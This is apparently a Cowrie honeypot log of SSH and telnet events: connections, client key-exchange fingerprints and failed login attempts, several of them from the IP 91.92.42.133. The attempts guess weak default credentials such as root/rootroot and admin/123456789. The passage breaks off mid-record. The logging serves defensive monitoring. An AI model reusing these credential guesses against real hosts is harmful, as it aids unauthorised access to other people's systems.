{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:59:57.283729Z","src_ip":"91.92.42.133","session":"2949082c3da7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp123","message":"login attempt [ftp/ftp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:59:58.445812Z","src_ip":"91.92.42.133","session":"2949082c3da7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:00:00.015884Z","src_ip":"91.92.42.133","session":"2949082c3da7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":52326,"dst_ip":"159.203.135.109","dst_port":22,"session":"b396768c5b5e","protocol":"ssh","message":"New connection: 91.92.42.133:52326 (159.203.135.109:22) [session: b396768c5b5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:00:03.160920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:00:03.798604Z","src_ip":"91.92.42.133","session":"b396768c5b5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:00:03.802134Z","src_ip":"91.92.42.133","session":"b396768c5b5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456789","message":"login attempt [admin/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:00:05.857952Z","src_ip":"91.92.42.133","session":"b396768c5b5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:00:07.525913Z","src_ip":"91.92.42.133","session":"b396768c5b5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":35198,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd18b1397a85","protocol":"ssh","message":"New connection: 91.92.42.133:35198 (159.203.135.109:22) [session: bd18b1397a85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:00:11.291758Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:00:11.608925Z","src_ip":"91.92.42.133","session":"bd18b1397a85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:00:11.612995Z","src_ip":"91.92.42.133","session":"bd18b1397a85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"1234","message":"login attempt [sam/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:00:14.007223Z","src_ip":"91.92.42.133","session":"bd18b1397a85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.140.193.156","src_port":57966,"dst_ip":"10.17.0.5","dst_port":22,"session":"3269e655740e","protocol":"ssh","message":"New connection: 45.140.193.156:57966 (10.17.0.5:22) [session: 3269e655740e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:00:14.737851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:00:14.747533Z","src_ip":"45.140.193.156","session":"3269e655740e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:00:14.857807Z","src_ip":"45.140.193.156","session":"3269e655740e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"milad","password":"1","message":"login attempt [milad/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:00:15.318775Z","src_ip":"45.140.193.156","session":"3269e655740e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:00:15.502818Z","src_ip":"91.92.42.133","session":"bd18b1397a85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:00:16.434929Z","src_ip":"45.140.193.156","session":"3269e655740e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":40448,"dst_ip":"159.203.135.109","dst_port":22,"session":"35638f806902","protocol":"ssh","message":"New connection: 91.92.42.133:40448 (159.203.135.109:22) [session: 35638f806902]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:00:18.936763Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:00:18.998411Z","src_ip":"91.92.42.133","session":"35638f806902","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:00:19.086312Z","src_ip":"91.92.42.133","session":"35638f806902","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"16.162.188.118","src_port":34676,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d0a58cdf29d","protocol":"telnet","message":"New connection: 16.162.188.118:34676 (10.17.0.5:23) [session: 5d0a58cdf29d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:00:19.616586Z"}
{"eventid":"cowrie.login.failed","username":"tester","password":"tester","message":"login attempt [tester/tester] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:00:19.869810Z","src_ip":"91.92.42.133","session":"35638f806902","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:00:21.548849Z","src_ip":"91.92.42.133","session":"35638f806902","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":45644,"dst_ip":"10.17.0.5","dst_port":22,"session":"901c1708da87","protocol":"ssh","message":"New connection: 27.71.230.31:45644 (10.17.0.5:22) [session: 901c1708da87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:00:23.348194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:00:23.360978Z","src_ip":"27.71.230.31","session":"901c1708da87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:00:23.600613Z","src_ip":"27.71.230.31","session":"901c1708da87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":36738,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1ee637abdf6","protocol":"ssh","message":"New connection: 91.92.42.133:36738 (159.203.135.109:22) [session: d1ee637abdf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:00:26.568827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:00:26.697055Z","src_ip":"91.92.42.133","session":"d1ee637abdf6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:00:26.701340Z","src_ip":"91.92.42.133","session":"d1ee637abdf6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin2021","message":"login attempt [root/Admin2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:00:27.422556Z","src_ip":"27.71.230.31","session":"901c1708da87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootroot","message":"login attempt [root/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:00:27.627105Z","src_ip":"91.92.42.133","session":"d1ee637abdf6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:00:29.043843Z","src_ip":"91.92.42.133","session":"d1ee637abdf6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:00:29.274900Z","src_ip":"27.71.230.31","session":"901c1708da87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":40692,"dst_ip":"159.203.135.109","dst_port":22,"session":"fcac3df46480","protocol":"ssh","message":"New connection: 91.92.42.133:40692 (159.203.135.109:22) [session: fcac3df46480]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:00:34.657654Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:00:34.692898Z","src_ip":"91.92.42.133","session":"fcac3df46480","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:00:34.742612Z","src_ip":"91.92.42.133","session":"fcac3df46480","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"Passw0rd","message":"login attempt [administrator/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:00:35.088336Z","src_ip":"91.92.42.133","session":"fcac3df46480","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:00:36.513047Z","src_ip":"91.92.42.133","session":"fcac3df46480","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":40750,"dst_ip":"159.203.135.109","dst_port":22,"session":"757edea1f3c5","protocol":"ssh","message":"New connection: 91.92.42.133:40750 (159.203.135.109:22) [session: 757edea1f3c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:00:42.125891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:00:42.181102Z","src_ip":"91.92.42.133","session":"757edea1f3c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","h